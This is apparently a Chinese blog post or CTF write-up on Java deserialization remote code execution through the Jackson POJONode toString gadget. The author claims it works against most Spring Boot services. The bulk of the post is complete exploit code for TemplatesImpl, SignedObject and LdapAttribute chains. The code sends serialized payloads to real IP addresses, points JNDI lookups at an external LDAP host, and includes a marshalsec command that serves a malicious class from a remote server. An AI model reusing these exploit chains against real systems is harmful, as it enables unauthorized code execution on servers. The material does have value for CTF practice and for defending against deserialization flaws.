基本介绍
事情的起因就是打阿里云碰到的一题,比较的猛,经过一系列的研究发现是可以通杀所有没给toString和Templates上ban位的springboot服务,这个是和@tel师傅一起研究出来的,并且拿了一些题目如newStar上的压轴Java题,是可以通杀的
Springboot一般都会自带JackSon这个依赖包,很多人也没把这东西当一回事儿,只知道FastJson这东西,殊不知JackSon也有一模一样的功效!
简单复现
和fastjson的JsonObject一样,今天的主角的JackSon里的PojoNode!它的toString也是可以直接触发任意的getter的,而这个触发条件如下
- 不需要存在该属性
- getter方法需要有返回值
- 尽可能的只有一个getter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package org.example;
import java.io.IOException; import java.io.Serializable;
public class User implements Serializable {
public User() { }
public Object getName() throws IOException { Runtime.getRuntime().exec("calc"); return "asdas"; }
public Object setName(String name) { System.out.println("setname"); return "sadsad"; }
}
|
1 2 3 4 5 6 7 8 9 10 11 12
| package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
public class Demo { public static void main(String[] args) { User user = new User(); POJONode jsonNodes = new POJONode(user); jsonNodes.toString(); } }
|
运行一波计算机就弹出来了
JackSon反序列化利用链
注意点
首先需要注意的就是Jackson的toString链是有个坑点的,首先PoJoNode类是继承ValueNode,而ValueNode是继承BaseJsonNode类的,我们看看BaseJsonNode
而它拥有writeReplace函数,有这个函数就意味着反序列化时不会走正常渠道,而是走他这个writeReplace方法,这是反序列化的规则,详细参考
AliyunCTF 2023 WriteUP
解决方法就是重写一个BaseNodeJson
最后呢经过我一个小时的测试,一共分为三条链子,就是以下三条
TemplatesImpl链
最为经典的一条链子,只需要把FastJson的JsonObject修改为PoJoNode即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| package org.example;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.springframework.http.HttpEntity; import org.springframework.http.HttpHeaders; import org.springframework.http.ResponseEntity; import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.net.URI; import java.security.*; import java.util.Base64;
public class TemplatesImplChain { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "boogipop"); setFieldValue(templatesImpl, "_tfactory", null); POJONode jsonNodes = new POJONode(templatesImpl); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(exp); FileOutputStream fout=new FileOutputStream("1.ser"); fout.write(barr.toByteArray()); fout.close(); FileInputStream fileInputStream = new FileInputStream("1.ser"); System.out.println(serial(exp)); deserial(serial(exp)); } public static void doPOST(byte[] obj) throws Exception{ HttpHeaders requestHeaders = new HttpHeaders(); requestHeaders.set("Content-Type", "text/plain"); URI url = new URI("http://112.124.14.13:8080/bypassit"); HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);
RestTemplate restTemplate = new RestTemplate(); ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class); System.out.println(res.getBody()); } public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
可以看到是成功的RCE了的,有一个小细节就是尽量把TemplatesImpl换为Templates,也就是它的父类,这样可以避免一些错误
然后简单的跟一下调试流程吧。
触发toString,进入到PoJoNode的toString方法
实际上是BaseJsonNode的toString方法,最后就是获取到getter并且调用
这里获取getter我也不是特别清楚,在aliyunctf的wp里我也跟踪了,就是不知道哪里获取的,和网上的有些差异。
SignObject链
这是一条拿来打二次反序列化的链子,和tel师傅讨论的时候在想如果Templates被ban了怎么办,那就打二次!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| package org.example;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.springframework.http.HttpEntity; import org.springframework.http.HttpHeaders; import org.springframework.http.ResponseEntity; import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.net.URI; import java.security.*; import java.util.Base64;
public class SignedObjectChain { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "boogipop"); setFieldValue(templatesImpl, "_tfactory", null); POJONode jsonNodes2 = new POJONode(templatesImpl); BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null); Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val2.setAccessible(true); val2.set(exp2,jsonNodes2); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine); POJONode jsonNodes = new POJONode(signedObject); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(exp); FileOutputStream fout=new FileOutputStream("1.ser"); fout.write(barr.toByteArray()); fout.close(); FileInputStream fileInputStream = new FileInputStream("1.ser"); System.out.println(serial(exp)); deserial(serial(exp)); } public static void doPOST(byte[] obj) throws Exception{ HttpHeaders requestHeaders = new HttpHeaders(); requestHeaders.set("Content-Type", "text/plain"); URI url = new URI("http://112.124.14.13:8080/bypassit"); HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);
RestTemplate restTemplate = new RestTemplate(); ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class); System.out.println(res.getBody()); } public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
打法也是比较简单粗暴,直接二次反序列化即可
也是简单的跟着调一下:
toString起手,然后快进到getter:
抱歉,我的套娃再你之上,接下来的就是TemplatesImpl链重复一遍了
LdapAttribute链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| package org.example;
import com.fasterxml.jackson.databind.node.ArrayNode; import com.fasterxml.jackson.databind.node.BaseJsonNode; import com.fasterxml.jackson.databind.node.POJONode; import com.fasterxml.jackson.databind.node.ValueNode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.rowset.JdbcRowSetImpl; import javassist.*; import org.springframework.http.HttpEntity; import org.springframework.http.HttpHeaders; import org.springframework.http.ResponseEntity; import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException; import javax.management.JMX; import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import javax.naming.CompositeName; import javax.sql.rowset.BaseRowSet; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URI; import java.util.Base64;
public class LdapAttributeChain { public static void main( String[] args ) throws Exception { String ldapCtxUrl = "ldap://114.116.119.253:9999/"; Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor( new Class[] {String.class}); ldapAttributeClazzConstructor.setAccessible(true); Object ldapAttribute = ldapAttributeClazzConstructor.newInstance( new Object[] {"name"}); Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL"); baseCtxUrlField.setAccessible(true); baseCtxUrlField.set(ldapAttribute, ldapCtxUrl); Field rdnField = ldapAttributeClazz.getDeclaredField("rdn"); rdnField.setAccessible(true); rdnField.set(ldapAttribute, new CompositeName("a//b")); POJONode jsonNodes = new POJONode(ldapAttribute); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes); deserial(serial(exp)); } public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
这个LdapAttribute链有点小tips得绕过,先看看效果吧
这个类第一次出现在Ctfer的眼前是在RWCTF2021的一道题上
在这出现了,他也可以进行JNDI注入,我们来看看他的注入点吧
是有2个方法的,正巧还都是getter
这次我们进入的是getAttributeDefinition
方法内,也是调用了jndi注入,但是payload比较讲究,我们之前的payload都是ldap://xxxxx/xxx
,这里payload必须是ldap://xxxx/
不需要后缀了,具体原因是:
在这一步是获取dn的信息
这么跟进了三步,最后在getUsingURL方法中会获取DN,但是获取的格式为cn=,dn=
,假如我们加了后缀,我们后台收到的数据是:
他默认会加一个a呢,这个是payload里a//b
决定的,所以我们需要换个工具,如marshall,创建一个叫做a的恶意类,然后按照要求放置即可~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://175.24.235.176:8888/#a](http://175.24.235.176:8888/#a) 9999
然后就RCE了
JdbcRowImpl链
这个链应该是不太行的emmmmm,测试也测不出来,应该就是不行。
FastJson触发它是因为setAutoCommit调用了
NewStarCTF [Rome]
那这一题为例子,这一题就是一个裸的反序列化,给了ROME依赖,但是我就是要反其道而行之,直接掏出我的这个Templates链子去打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| package org.example;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.springframework.http.HttpEntity; import org.springframework.http.HttpHeaders; import org.springframework.http.ResponseEntity; import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.net.URI; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64;
public class TemplatesImplChain { public static void main(String[] args) throws Exception { Templates templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Boogipop"); byte[] code= Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\evil.class")); byte[][] codes={code}; setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates,"_bytecodes",codes); POJONode jsonNodes = new POJONode(templates); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(exp); FileOutputStream fout=new FileOutputStream("1.ser"); fout.write(barr.toByteArray()); fout.close(); FileInputStream fileInputStream = new FileInputStream("1.ser"); System.out.println(serial(exp)); deserial(serial(exp)); } public static void doPOST(byte[] obj) throws Exception{ HttpHeaders requestHeaders = new HttpHeaders(); requestHeaders.set("Content-Type", "text/plain"); URI url = new URI("http://112.124.14.13:8080/bypassit"); HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);
RestTemplate restTemplate = new RestTemplate(); ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class); System.out.println(res.getBody()); } public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
梭哈!